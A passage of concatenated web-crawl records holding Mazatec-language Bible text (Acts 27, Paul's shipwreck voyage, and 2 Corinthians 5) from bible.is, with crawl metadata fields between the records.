ki̱tjokàjiìn Buenos Puertos; ján kjoi̱ Fenice, jngoò i̱'nde xi ndaà choòn xi chja̱‑ne Creta ñánda bijchó sinchá chitso nga ya̱ fahas'en jngoò chrja‑la̱ ndáchikon ya̱ nga kixi̱‑la̱ ko̱ ngaskón‑la̱ ñánda kahatji‑ne ts'oí; ya̱á kítsa̱jna na̱chrjein ts'e̱ cho̱ 'nchán. 13Jñà xi̱ta̱ xi síxáko̱ chitso, k'e̱ nga kijtseè nga indaà ts'a tjo̱ xi inchrobà‑ne ya̱ i̱'nde sur, k'oa̱á s'ín kisìkítsjeèn nga jyeé ko̱ma ki̱sòn‑ndá; itjo‑je̱n, tsanguisòn ndá‑je̱n ya̱ i̱ndiì nangui Creta. 14Xi komà i̱skan nga jye tjaájiìn‑ndá‑je̱n, j'iì tjo̱xkón xi inchrobà‑ne ya̱ i̱'nde norte. 15Kiìko̱ jè chitso koni s'ín fì tjo̱. Ngaje̱n, mì ti̱ kiì ma nìkáfaya‑naje̱n jè chitso, nga jè tjo̱, mìkiì tsjá'nde‑la̱; ta sa̱á ta kits'iì'ndeé‑la̱je̱n nga k'oa̱s'ín kiìko̱‑naje̱n jè tjo̱. 16Tsitjaàjto‑je̱n i̱jto̱n íts'i̱n i̱'nde Cauda; i̱'nde jè, mì ti̱ k'oa̱á 'ñó tí'ba‑ne tjo̱; chjá kitjoé‑naje̱n jè chitso jtobá xi tjíndófe‑la̱ i̱jto̱n íts'i̱n jè chitso je. 17K'e̱ nga jye kitjoé‑naje̱n jè chitso jtobá, i̱kjoàn na'ñó tsibí'ñókjá‑ne jè chitso je nga mì ki̱xo̱ña‑jèn. Jñà xi̱ta̱ xi síxáko̱ chitso, tsakjón‑la̱ tsà ya̱ ska̱jiìn‑'ñó ya̱ i̱'nde ñánda 'ñó 'ncha tsomì ñánda 'mì Sirte. Koií kiskìnáje̱n‑ne jè nikje ts'e̱ chitso xi 'mì vela; tà k'oa̱á s'ín kiìko̱ jè tjo̱. 18Nga komà inchijòn, jè tjo̱xkón, tákó 'ñó jchán tí'ba. K'e̱é tsachrje jñà ch'á xi 'ya chitso; tsibíxteèn‑jiìn ndáchikon [mé‑ne nga ìsa̱ jna̱ komà‑ne jè chitso]. 19Xi komà jàn na̱chrjein, ti̱koa̱ tsachrje tsojmì xi mochjeén‑la̱ nga síxáko̱ chitso. Tsibíxteèn‑jiìn ndáchikon. 20Kjìn na̱chrjein mì ti̱ kiì ki'ya‑naje̱n ts'oí ko̱ ni'ño nga 'ñó 'ncha ifi nga jtsí xkón tíbanè‑na̱je̱n. K'oa̱á komà‑ne nga chixón‑je̱n nga mì‑la ti̱ kiì ndaà ki̱tjokàjiìn‑naje̱n ndáchikon. 21Nga jyeé kò kjìn na̱chrjein mì ti̱ kiì bichi‑naje̱n, Pablo tsasìjna kixi̱, kitsò‑la̱ jñà xi̱ta̱: ―Ndaà‑la komà tsà kina'yàñijon‑ná koni kixan‑nò; tsà mìkiì itjokàjñaá ya̱ i̱'nde Creta, mì‑la kiì k'oa̱s'ín tímat'iaán nga kjo̱'in titsa̱nìkjiaán koa̱ kinìchijaá tsojmì‑ná. 22Ta̱nga i̱'ndei̱, kì makájno‑nò; ni̱jngoò xi̱ta̱ ki̱yá; tà jè chitso xi jchi̱ja. 23Na̱ti ni̱tje̱n kò'biì jngoò‑na nijñá; jngoò àkja̱le̱ kòf'iìkon‑na xi Nainá kàsíkasén, jè Nainá xi 'a̱n fìt'aà‑la̱ koa̱ 'a̱n sìxá‑la̱, 24kàtsò‑na: \"Pablo, kì tsakjoòn‑jèn; kjo̱'ñó tjín‑ne nga kìjchoi nguixko̱n César, xi̱ta̱xá ítjòn ts'e̱ Roma. Nainá, k'oa̱á tjín kjo̱ndaà xi tsjá‑lè nga ni̱jngoò xi̱ta̱ ki̱yá xi ya̱ títsa̱jnayako̱‑lè chitso.\" 25Jñò, 'ñó t'è‑là takòn. 'A̱n mìkiì sìkájnoa. 'Beé‑la takoàn, k'oa̱á s'ín ki̱tasòn koni kàtsò‑na jè àkja̱le̱. 26Ta̱nga ya̱á kìjcho kat'aà'ñó‑la̱á jngoò nangui jtobá xi kjijnajiìn‑ndá. 27K'e̱ nga jye komà jò xomàna̱ nga tjaàjiìn‑je̱n ndáchikon Adriático, jè tjo̱ fìjen fìkjáko̱ jè chitso. Jngoò ni̱tje̱n, ijchò‑la̱ tsà osen ni̱tje̱n, jñà xi̱ta̱ xi nchisíxáko̱ chitso, kijtseè nga jyeé kjo̱meè bijcho chrañàt'aà‑la̱je̱n nangui. 28Kisìchi̱ba̱ kó kji na̱nga̱ kijna nandá; kijtseè nga kaàn chrj'oòn jngoò metro na̱nga̱ kijna. K'e̱é nguì ko̱ kji kiì ìsa̱; i̱kjoàn kisìchi̱ba̱ ìjngoò k'a; jye kaàn itoò metro tjín‑la̱ nga na̱nga̱. 29Kitsakjòn‑la̱ tsà jñà nda̱jo̱ nandá ska̱kjoòko̱ jè chitso. Ñijòn ki̱cha̱ iì xi gancho̱ kjoàn kisìkatsjoòjiìn tàts'en chitso mé‑ne nga ki̱tsobà'ñó‑ne nangui nga mì ti̱ kiì ko̱ma kjoi̱‑ne jè chitso; i̱kjoàn tsibítsi'ba‑la̱ Nainá nga ni̱to̱n kàtas'e i̱sén. 30Ngats'iì jñà xi̱ta̱ xi síxáko̱ chitso mejèn tsanga chijé; k'oa̱á kis'iìn koni tsà jñà ki̱cha̱ iì xi gancho̱ kjoàn ki̱nchangui'ñó sko̱ chitso nga ki̱tsobà'ñó nangui; tsibíts'ia̱ nga kiskinìjen‑jiìn nandá jè chitso jtobá. 31Ta̱nga jè Pablo kitsò‑la̱ jè xi̱ta̱ sko̱‑la̱ soldado ko̱ soldado xi i'nga: ―Tsà jñà xi̱ta̱ koi ko̱nga, jñá, mìkiì ko̱ma ki̱tjo̱jñaá nandá. 32Jñà soldado tsate'ñó jè chitso jtobá. Kiskaàjiìn ndáchikon. 33K'e̱ nga jye kis'e i̱sén, jè Pablo kitsò‑la̱ ngats'iì xi̱ta̱: ―Jyeé tjín‑la̱ jò xomàna̱ nga titsa̱jnachjaán nga chiñá‑lá mé xi ko̱mat'iaán. 34Bìtsi'bà‑nò, mochjeén‑né nga ti̱chioò mé‑ne nga s'e̱‑nò nga'ñó. Ngats'ioò, ni̱mé xi ko̱mat'ioòn, skanda ni̱jngoò xi si̱ìchja jngoò tsja̱ skoò. 35Pablo, k'e̱ nga jye o̱kitsò, kiskoé i̱nchra̱jín, kitsjaà‑la̱ kjo̱ndaà Nainá nga nguixko̱n ngats'iì xi̱ta̱. Kisìxkoa̱ya; i̱kjoàn tsakjèn. 36Ngats'iì xi̱ta̱, kjòtsja yije‑la̱; ti̱koa̱ tsakjèn kóho̱tjín. 37Jò sìndo̱ ko̱ jàn kaàn ko̱ chrj'oòn jngoò ma‑naje̱n xi ya̱ titsa̱jnaya‑je̱n chitso. 38K'e̱ nga jye komà ndaà chichi yije‑je̱n, jñà ch'á trigo kisíxteèn‑jiìn ndáchikon mé‑ne nga ìsa̱ jna̱ komà‑ne jè chitso. 39K'e̱ nga jye itjokàtji ts'oí, jñà xi̱ta̱ xi síxáko̱ chitso, mìkiì beèxkon kó 'mì nangui ñánda ijchò‑je̱n, ta̱nga kijtseè‑né nga tjín jngoò i̱'nde ñánda fahas'en jngoò chrja‑la̱ ndáchikon ñánda 'ñó 'ncha tsomì; mejèn k'oa̱s'ín kiskinì chitso tsà ko̱ma ya̱ ska̱jiìn‑'ñó tsomì. 40Tsate na'ñó xi tjít'aà'ñó chitso; jñà ki̱cha̱ iì xi gancho̱ kjoàn, ya̱á kisìyijòjiìn ndáchikon; kiskíjnda̱'ñó jñà yá xi síxáko̱ nga fìko̱ kixi̱ chitso. I̱kjoàn kiskímiìtje̱n jè nikje xi sinchá tjo̱ nga fàhitje̱n chitso. I̱kjoàn tsibíts'ia̱ nga kiì kixi̱ ñánda kijna nangui xi 'ñó 'ncha tsomì. 41Ta̱nga ya̱á kiì kaàjiìn‑'ñó ñánda 'ncha tsomì ya̱ i̱jiìn ndáchikon. Jè sko̱ yá chitso, kiskaàjiìn‑'ñó; mì ti̱ kiì ko̱ma kisìhiníyá‑ne. I̱kjoàn kjòts'ia̱ nga kjòxkoa̱ya jè tàts'en chitso nga jè nga'ñó‑la̱ nandá kisìxkoa̱ya. 42Jñà soldado mejèn kisìk'en jñà xi̱ta̱ xi kjo̱'in nchifì nga majìn‑la̱ nga ko̱nga ya̱ i̱jiìn ndáchikon. 43Ta̱nga jè xi̱ta̱ sko̱‑la̱ soldado mìkiì kitsjaà'nde. Jè xi mejèn‑la̱ nga mì ki̱yá Pablo. Tà sa̱á o̱kixi̱ kitsjaà kitsò: ―Yá xi ma‑la̱ nandá, kàtjì ítjòn mé‑ne nga ko̱ma ki̱jchò‑ne ñánda nangui choòn, 44ko̱ jñá xi̱ta̱ xi i'nga xi mì ma‑la̱ nandá, kàtjìsòn íteè ko̱ tsà jñà yá xkoa̱‑la̱ chitso. K'oa̱á s'ín komà‑ne nga ndaà ijchò yije‑je̱n ñánda nangui choòn.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/27","date":"2017-08-19T10:12:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886105334.20\/warc\/CC-MAIN-20170819085604-20170819105604-00057.warc.gz","language":"maa","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000001072883606}","num_words":1108,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.243,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè ijo‑ná, 'koa̱á 'sín jngoya‑la̱ koni tsa jngo ni'ya ra sinda i̱ a̱'ta nangi ra ta chiba ni̱chjin ma‑la̱ nga sasa fitsón‑ña. Tanga tsa kji̱tsón‑ña jè ni'ya ra̱kìi̱, tíjnaá jngo‑ná ya̱ ján ngajmi ni'ya ra tíjna skanda ta kjiá‑nioo̱ ra mì tsa xi̱ta̱ tsikínda, jé sabà Nainá tsikínda. 2'Koa̱á ma‑ni nga i̱ma̱á fahátse‑la̱ inìma̱‑ná 'kia̱ nga ya̱ titsa̱jnaya iseé jè ni'ya ra̱kìi̱, nga̱ jé ra mejèn‑ná tsa ijye ya̱ titsa̱jnayeé jè ni'ya‑ná ra tíjna ya̱ ján ngajmi. 3Ni̱'sín si̱jna ijo‑ná ra tja'ché 'ndi̱‑ni̱, ìjngo‑isa ijo xi̱tse̱ tsjá‑ná jè Nainá. Jè inìma̱‑ná mì tsa ta ya̱ si̱jnajin i̱sén, ijo xi̱tse̱é 'se̱‑la̱. 4'Kia̱ nga takó tíjnakon‑isa ijo‑ná ra 'koa̱ jngoya‑la̱ koni jngo ni'ya ra ta chiba ni̱chjin ma‑la̱, 'ñó 'on tífahátse‑la̱ inìma̱‑ná, nga̱ majìn‑ná tsa katatjahíxín‑ná jè ijo‑ná ra tjínè‑la̱ nga ki̱yá; jé ra mejèn‑ná nga kataxi̱tse̱ya, mé‑ni nga jè ijo‑ná ra tjínè‑la̱ nga ki̱yá, jè kjo̱binachon xi̱tse̱ katasíjchijangi. 5Jé Nainá ra ko̱'sín ijye tsikínda nga tísíkíjnanda‑ná mé‑ni nga ko̱'sín katameé. Ko̱ jé kitsjá‑ná jè Inìma̱ Tsje‑la̱, mé‑ni nga ijye tjín kixi̱‑ni kjoa̱ nga tjábé‑ná kjo̱nda ra ijye tjínda‑la̱ nga tsjá‑ná. 6'Koa̱á ma‑ni tjíjngoó takén nga ni̱chjin nchijón‑ní nga jè Nainá kji'tatakén, 'kia̱ nga takó tíjnakon‑isa ijo‑ná, takó kjiín titsa̱jna-isa‑lá ya̱ i̱'nde ñánda̱ nga tíjna jè Na̱'ín‑ná ra tíjna ítjòn‑ná. 7'Koa̱á 'sín i̱nchiníjché ijo‑ná koni 'sín tjín kjoa̱ ra makjiín‑ná; mì tsa ko̱'sín i̱nchi'nié koni 'sín tjín kjoa̱ ra ta xkén tsijen‑la̱. 8Tanga ijyeé ko̱'sín tjíjngo takén, nga̱ jé ra isa̱ 'ñó mején‑ná tsa ijye ki̱jmié ijo‑ná ra tja'ché mé‑ni ma ya̱ ki̱tsa̱jna‑né ya̱ ñánda̱ nga tíjna Na̱'ín‑ná ra tíjna ítjòn. 9'Koa̱á ma‑ni nga ko̱'sín binè‑lá ijo‑ná nga 'koa̱á 'sín 'nié koni 'sín tjín kjoa̱ ra sasén‑la̱ ra jè, ni̱'sín ta ñánda̱ titsa̱jneé, a ya̱á titsa̱jneé ya̱ a̱'ta nangi o̱ ra ya̱á titsa̱jneé ya̱ ján ngajmi. 10Nga̱ 'koa̱á 'sín tjíné‑ná nga'tsì‑ná nga ya̱ kijcho kincheé ya̱ ngixko̱n ñánda̱ nga tíbatéxoma Cristo, mé‑ni nga ko̱'sín katama'tieén koni 'sín tjín kjoa̱ ra ki'nié ya̱ i̱sà'nde 'kia̱ nga tsikitsa̱jneé ya̱ a̱'ta nangi; tsa nda ki'nié, kjo̱ndaá tjábé‑ná, ko̱ tsa 'cho ki'nié kjoa̱'choó tjábé‑ná. 11'Kia̱ nga ijye 'ya‑ji̱n nga machjeén‑ní nga ki̱skón‑cha‑ji̱n Nainá, nga 'koa̱á 'sín jcha̱xkón‑ji̱n koni 'sín nga bakèn‑la̱ ra jè, 'koa̱á ma‑ni nga 'bena̱jmíya‑la̱ji̱n jñà xi̱ta̱ mé‑ni nga katakjiín‑la̱ ra a̱'ta 'tse̱ Cristo. Jè Nainá 'ñó nda tsijen‑la̱ koni 'sín tjín kjoa̱ ra 'nià‑ji̱n; 'koa̱á 'sín mejèn‑na ra 'a̱n, tsa ko̱'sín nda katachi̱ya‑te‑la̱ inìma̱‑najiòn kó'sín tjín kjòn‑ni kjoa̱ ra 'nià‑ji̱n. 12Mì tsa ta ki‑ni nga ji̱n mejèn‑naji̱n nga nda si̱kítsa̱jna india‑naji̱n ijo‑na̱ji̱n; jé ra mejèn‑naji̱n nga ti̱'koa̱á katatsja‑te‑la̱ takòn jiòn ra a̱'ta tsa̱ji̱n, mé‑ni nga sa̱kò‑no 'én kó'sín 'kín‑la̱ jñà xi̱ta̱ ra ta ijo‑la̱ nda síkítsa̱jna ko̱ mì tsa jè inìma̱‑la̱ nda síkinda̱ ítjòn. 13Nga̱ tsa ská‑naji̱n, a̱'ta 'tse̱ Nainá‑ní nga ská‑naji̱n; ko̱ tsa ngi ndaá tjín kjo̱bítsjen‑na̱ji̱n, kjo̱nda tsa̱jión‑nájiòn nga ko̱'sín tjín. 14Jé kjoa̱tsjacha‑la̱ Cristo ra itsabá'ñó‑naji̱n ra ko̱'sín fìko̱‑naji̱n koni 'sín nga mejèn‑la̱. Ko̱ ki̱í 'sín ijye nda isìchi̱ya‑naji̱n: Jngoó‑ní ra 'ken‑tjì‑la̱ nga'tsì xi̱ta̱, 'koa̱á ma‑ni nga ijyeé 'ken‑te nga'tsì jñà xi̱ta̱ ra tjín. 15Ko̱ nga'tsì jñà xi̱ta̱, jé Cristo 'ken ngajo‑la̱, mé‑ni nga jñà xi̱ta̱ ra títsa̱jnakon mì kì ti̱ ta jñà katatéxoma‑la̱ ijo‑la̱, jé Cristo katatéxoma‑la̱, jè ra 'ken‑tjì‑la̱ ko̱ jaáya‑ila̱ ra ta kjo̱nda 'tse̱. 16'Koa̱á ma‑ni 'ndi̱ 'ndi̱, mì kì tsa ti̱ ko̱'sín níkítsjen‑naji̱n ra a̱'ta 'tse̱ xi̱ta̱, koni 'sín isíkítsjen ijo jé‑na̱ji̱n. Ni̱'sín tsa ko̱'sín iníkítsjen‑ji̱n ra a̱'ta 'tse̱ Cristo nga ti̱'sa̱ ítjòn; tanga 'ndi̱ 'ndi̱, mì tsa ti̱ ko̱'sín níkítsjen‑naji̱n ra a̱'ta 'tse̱. 17'Koa̱á ma‑ni, tsa jngo xi̱ta̱ ijye ya̱ tíjnako̱ Cristo, ijyeé xi̱ta̱ xi̱tse̱é kàma‑ni ra a̱'ta 'tse̱ Nainá. Jè kjoa̱ jchínga‑la̱ ijyeé kabato, saba kjoa̱ xi̱tse̱é kàma‑ni 'ndi̱‑ni̱. 18Nga'tsì kjoa̱ kìi̱ a̱'ta 'tse̱ Nainá nchrabá‑ni nga ko̱'sín a̱'ta 'tse̱ Cristo ma chibanda‑né ko̱ Nainá. Ko̱ jé kitsjáxá‑naji̱n nga 'kéna̱jmíya‑ji̱n kó'sín ma chibanda‑ná ko̱ Nainá. 19Tsó‑ni kjoa̱, nga jé Cristo kisìchjeén Nainá nga ma tsajo̱ónda‑ni ko̱ xi̱ta̱ i̱sà'nde, ko̱ mì tsa ti̱ kinda̱ ki'sìn‑ni kjoa̱ 'tse̱ jé ra tjín‑la̱ nga'tsì xi̱ta̱. Ko̱ ji̱ín isìnga̱tsja‑naji̱n jè xá ra̱kìi̱, mé‑ni nga si̱kabíya‑ji̱n 'én kó'sín nga ma chibanda‑né ko̱ Nainá. 20'Koa̱á ma‑ni, ngaji̱ín síkasén‑naji̱n Cristo nga nakjoá ngajo‑la̱ji̱n. 'Koa̱á jngoya‑la̱ koni tsa jè‑ni Nainá ra tíbítsa'ba‑najiòn 'kia̱ nga ko̱'sín 'mì‑laji̱n. A̱'ta 'tse̱ Cristo‑ní nga ko̱'sín i̱nchibitsa'ba‑laji̱n: \"Jchi̱bànda‑no ko̱ jè Nainá.\" 21Jè Cristo, ni̱jngo jé tsakátsji ra jè; tanga ta nga̱tjì tsa̱jién‑ná nga ko̱'sín jè Nainá tsakánè jé‑la̱, mé‑ni nga ko̱'sín xi̱ta̱ kixi̱ ka̱ma‑né ya̱ ngixko̱n Nainá 'kia̱ nga ijye ya̱ titsa̱hijyoke̱é jè Cristo.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/5","date":"2017-08-19T22:44:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886105927.27\/warc\/CC-MAIN-20170819220657-20170820000657-00203.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":727,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye ko̱'sín iskosòn‑la̱ nga ya̱á si̱ìkasén‑naji̱n Italia, jè Pablo ko̱ xi̱ta̱ preso ra i'ka, ya̱á kjonga̱tsja xi̱ta̱ ítjòn‑la̱ chíchàn ra 'mì Julio ra ya̱ chja̱‑ni jngó jtín chíchàn ra 'mì Emperador (ra síkinda̱ jè xi̱ta̱xá ítjòn 'tse̱ Roma). 2Ya̱á tsitjàha̱'se̱n‑ji̱n jngo chitso ra ya̱ 'tse̱ Adramitio ra ijye mejèn tíbitjo ra ya̱ tífì jngó jngó na̱xi̱ndá a̱ndi ndáchikon 'tse̱ nangi Asia. Ti̱'koa̱ ya̱á tsakáhijtako̱‑naji̱n xi̱ta̱ ra 'mì Aristarco ra ya̱ i̱'nde‑la̱ Tesalónica, na̱xi̱ndá ra chja̱‑ni Macedonia. 3Ra kjomà ma nchijòn, ya̱á ijchò‑ji̱n na̱xi̱ndá ra kjijna a̱ndi nandá ra 'mì Sidón. Jè Julio ndaá isìko̱ jè Pablo, kitsjá'ndeé‑ní nga kiì katsíjen‑la̱ jñà xi̱ta̱ ra nda báko̱, mé‑ni nga jñà xi̱ta̱ kìi̱ isìsin‑la̱ Pablo. 4'Kia̱ nga ítjo̱‑ji̱n ya̱ Sidón, 'koa̱á 'sín tsangìkjájton‑ji̱n ya̱ ra ijngoa‑la̱ nangi ra kjijnajin nandá ra 'mì Chipre, nga̱ jè tjo̱, 'koa̱á 'sín tí'bé koni 'sín i̱nchimangí‑ji̱n tsiki. 5'Koa̱á 'sín tsatojin‑ji̱n ndáchikon nga tsitjàha̱ndi‑laji̱n i̱'nde 'tse̱ Cilicia ko̱ Panfilia, a̱kjòn ijchò‑ji̱n ñánda̱ 'mì Mira, na̱xi̱ndá ra chja̱‑ni i̱'nde Licia. 6Jè xi̱ta̱ ítjòn‑la̱ chíchàn isakò jngo‑la̱ chitso ra ya̱ 'tse̱ Alejandría ra ya̱ tífì Italia; ya̱á isìkjaha'sen‑naji̱n mé‑ni nga kjomà tsangì-isa‑naji̱n. 7Kjín ni̱chjin tsinchimajin‑ji̱n ya̱ ndáchikon nga̱ xa̱án kijì jè chitso; 'ñó chjá ijchò‑naji̱n ya̱ kixi̱‑la̱ Gnido. Jè tjo̱ mì kì kitsjá'nde‑la̱ jè chitso nga tsangì kixi̱‑ji̱n; 'koa̱á 'sín tsangìkjájton‑ji̱n ya̱ nangi Creta, ya̱ kixi̱‑la̱ na̱xi̱ndá Salmón. 8Tseé kjo̱hi'in ki'nià‑ji̱n nga tsatojin‑ndá jè chitso nga tíjngo a̱ndi ndáchikon 'tse̱ Creta. 'Ñó chjá ijchò‑naji̱n ya̱ i̱'nde ñánda̱ 'mì Buenos Puertos ya̱ chraña'tá‑la̱ na̱xi̱ndá Lasea. 9Ijyeé kjìn ni̱chjin tsato; ijyeé 'ñó xkón tjín‑la̱ ya̱ a̱jin ndáchikon nga̱ tímachrañaá ni̱chjin cho̱ 'nchán ñánda̱ nga 'ñó 'fiì tjo̱. 'Koa̱á ma‑ni nga jè Pablo kitsjá‑la̱ 'én jñà xi̱ta̱, 10kitsò‑la̱: ―'A̱n, 'koa̱á 'sín machi̱ya‑na, nga koni 'sín i̱nchimangié, 'ñó tse kjo̱skon tjín‑la̱; si̱jchijaá‑leé jè chitso ko̱ jñà 'chá ra i̱jncha; skanda tjín‑te‑la̱ kjo̱skon tsa ki̱yé ra jién. 11Jè xi̱ta̱ ítjòn‑la̱ chíchàn, jé isa̱ nda kií'nchréhijon‑la̱ jè ni‑la̱ chitso ko̱ jè xi̱ta̱ ítjòn ra batéxoma‑la̱ jñà xi̱ta̱ ra síxáko̱ chitso. Mì kì jè isìsin koni 'sín kitsò jè Pablo. 12Ya̱ i̱'nde ra̱kìi̱, mì kì ma ya̱ sinchá chitso 'kia̱ nga ni̱chjin cho̱ 'nchán. Jñà xi̱ta̱ ra ya̱ títsa̱jnaya chitso, kjín ma‑ni ra ngásòn kitsò: \"Isa̱á nda‑ni tsa kítjo̱kajieén i̱'nde ra̱kìi̱; ko̱ 'ki̱ nga'ñó‑lá ijo‑ná nga kijcheé ya̱ Fenice, jngo i̱'nde ra ti̱ i̱ chja̱‑ni nangi Creta ñánda̱ nga nda chon, nga ti̱'xá jngo i̱'nde ya̱ a̱ndi ndáchikon nga ma 'faha'sen chitso ya̱ nga kixi̱‑la̱ ñánda̱ kàtjì‑ni tsá'bí ko̱ ya̱ ngaskoán‑la̱; ko̱ ya̱á ma ki̱tsa̱jneé nga katato‑la̱ jè ni̱chjin 'tse̱ cho̱ 'nchán.\" 13Jñà xi̱ta̱ ra síxáko̱ chitso, 'kia̱ nga kijtse nga indaá tí'ba tjo̱ ra ya̱ tínchrabá‑ni ya̱ nga kixi̱‑la̱ ñánda̱ bitjokátji‑ni tsá'bí, 'koa̱á 'sín isíkítsjen tsa ijyeé ko̱ma kongí‑ji̱n; 'kia̱á ítjo jè chitso, tsangì‑ji̱n ya̱ a̱jin ndáchikon ya̱ a̱ndi‑la̱ nangi Creta. 14Tanga 'kia̱ nga ijye timajin‑ji̱n ya̱ ndáchikon, 'jií jngo tjo̱xkón ra ya̱ inchrabà‑ni ya̱ ngaskoán‑la̱ ñánda̱ bitjokátji‑ni tsá'bí ra 'ñó 'tsa ko̱ ra 'ñó isìjtiya‑la̱ jè chitso, 15a̱kjòn 'ñó tsjahítsjá jè chitso. Ngaji̱n, mì ti̱ kì ma iníkáfaya‑naji̱n jè chitso, nga̱ jè tjo̱, mì ti̱ kì kitsjá'nde‑ni; ta ki'tsì'nde jnchro‑ji̱n koni 'sín jè tjo̱ ìko̱‑naji̱n. 16'Koa̱á 'sín tsi'tà‑ji̱n ya̱ a̱jto̱n í'tsi̱n i̱'nde ra 'mì Cauda; ya̱ i̱'nde ra̱kìi̱ mì tsa ko̱'sín ta̱ 'ñó tí'ba tjo̱; ta kjo̱hi̱ma̱á ma itjábé‑naji̱n jè chitso jtobá ra tjí'ndo̱fe a̱jto̱n í'tsi̱n ra ìjngo. 17'Kia̱ nga ijye itjábé‑naji̱n jè chitso jtobá, na'ñó tsikí'ñókjá‑naji̱n jè chitso mé‑ni nga mì ko̱xa̱n‑la̱. Jñà ra síxáko̱ chitso itsakjón‑la̱ tsa ya̱ ska̱jin'ñó ya̱ i̱'nde ñánda̱ 'ñó i̱jncha chrjo̱ ya̱ i̱'nde ra 'mì Sirte. 'Koa̱á ma‑ni nga tsaje̱n‑ngi jè nikje 'tse̱ chitso ra 'mì bela̱; tà 'koa̱á 'sín kiìko̱ tjo̱ jè chitso. 18'Kia̱ ma nchijòn, jè tjo̱xkón takó 'ñó jchán tí'ba. 'Kia̱á tsachrje jñà 'chá ra i̱jncha ya̱ chitso; tsikíxten‑jín ya̱ ndáchikon [mé‑ni nga katamajna̱-isa‑ni chitso]. 19Ra kjomà jàn ni̱chjin, jñà sabá xi̱ta̱ ra síxáko̱ chitso tsachrje ijye tsajmì ra machjeén nga maxáko̱ chitso nga tsikíxten‑jín ya̱ ndáchikon. 20Kjín ni̱chjin mì kì ti̱ kijcha‑naji̱n tsá'bí ko̱ nitse, nga̱ kjìn ni̱chjin isincha ifi. Koni 'sín nga 'ñó tí'banè‑naji̱n jè jtsí xkón, 'koa̱á 'sín iníkítsjen‑ji̱n, tsa mì ti̱ kì ma kítjo̱kajin‑naji̱n ya̱ a̱jin ndáchikon. 21Nga̱ ijyeé kjokjín ni̱chjin mì ti̱ kì i̱nchibichi‑naji̱n, jè Pablo tsasijna kixi̱‑ní, kitsò‑la̱ jñà xi̱ta̱: ―Ndaá‑la kjomà tsa ta inisin‑ná koni 'sín nga kíxian‑no; tsa ta mì ítjo̱kajieén ya̱ nangi Creta, mí‑la kì ko̱'sín tíma'tieén nga i̱nchinikjieén kjo̱hi'in ko̱ inchinìjchìjeé jñà tsajmì‑ná. 22Tanga 'ndi̱ 'ndi̱, kì tà chjàn makájno‑no; nga̱ nga'tsì‑ná ni̱jngo ra ki̱yé; tà jé chitso ra jchi̱ja. 23Na̱ti ni̱tje̱n, jngo nijñá ka'bì‑na; jngo ìkja̱li̱ ka'fiíjkón‑na ra jè Nainá kàsíkasén, jè Nainá ra ya̱ fì'ta‑la̱ 'a̱n ko̱ ra ya̱ síxá'ta‑la̱, 24nga kàtsò‑na: \"Ji̱ Pablo, kì tà chjàn skon‑jìn; kjo̱'ñó tjín‑ni nga kijchi ya̱ ngixko̱n César, xi̱ta̱xá ítjòn‑la̱ Roma; ta nga̱tjì‑la̱ kjoa̱nda ra títsjá‑li Nainá, ni̱jngo ki̱yá xi̱ta̱ ra ya̱ títsa̱jnayako̱‑li chitso.\" 25'Ñó 'tè‑la takòn. 'A̱n mì kì síkájno jiàa̱n. Beé‑la̱ takoàa̱n, 'koa̱á 'sín ki̱tjasòn koni 'sín ijye kàtsò‑na jè ìkja̱li̱. 26Tanga tjínè‑la̱ nga ya̱ ki̱jchò sasíjna jè chitso ñánda̱ tíjna jngo nangi ra kjijnajin‑ndá. 27'Kia̱ nga ijye tsato jò xomàna̱ nga timajin‑ji̱n ya̱ ndáchikon ra 'mì Adriático, jè chitso, fìko̱jen fìko̱kjá jè tjo̱. Jngo ni̱tje̱n, ijchó‑la tsa masen ni̱tje̱n, jñà xi̱ta̱ ra i̱nchisíxáko̱ jè chitso, 'koa̱á kjomà‑la̱ koni tsa ijyeé i̱nchibijchó chraña‑ji̱n ñánda̱ nangi. 28Isìchi̱ba̱‑ní kó'ki na̱nga̱ jè nandá skanda ya̱ a̱'ta nangi; kijtse‑ní nga kan nanga na̱nga̱ kjijna‑isa nandá. 'Kia̱ nga kijì‑isa jè chitso; isìchi̱ba̱á india‑ni; ta chrjo'òn nanga na̱nga̱‑isa. 29Itsakjón‑la̱ tsa jñà na̱jo̱ ra tjín ya̱ a̱jin nandá ska̱kjo‑ko̱ jè chitso. 'Koa̱á ma‑ni nga ijòn ki̱cha̱ ra ka̱nchó kjòn isìkatsajongi‑ndá ya̱ a̱jto̱n í'tsi̱n chitso ra tsasìko̱ nga mì kì ki̱ji̱‑isa, ko̱ chja̱'ta ko̱ 'sa̱‑ila̱ Nainá mé‑ni nga ndi̱to̱n kata'se i̱sén. 30Nga'tsì jñà xi̱ta̱ ra síxáko̱ chitso mején‑la̱ nga ko̱nga chijé; 'koa̱á 'sín ki'sìn koni tsa jñà ki̱cha̱ ra ka̱nchó kjòn si̱ìkatsajongi‑ndá ya̱ sko̱ chitso; tsikí'tsia̱ nga iskanijen ya̱ a̱jin nandá jè chitso ra jtobá 'kioo̱. 31Tanga jè Pablo, kitsó‑la̱ jè xi̱ta̱ ítjòn‑la̱ chíchàn ko̱ jñà chíchàn ra i'ka: ―Tsa ko̱nga jñà xi̱ta̱ kìi̱, jién, mì kì ko̱ma kítjo̱kajieén ya̱ ndáchikon. 32Jñà chíchàn 'kia̱á tsate'ñó jè chitso jtobá nga katakàtje̱n‑jin ya̱ a̱jin ndáchikon. 33'Kia̱ nga tínchrabá 'se i̱sén, jè Pablo kitsó‑la̱ nga'tsì 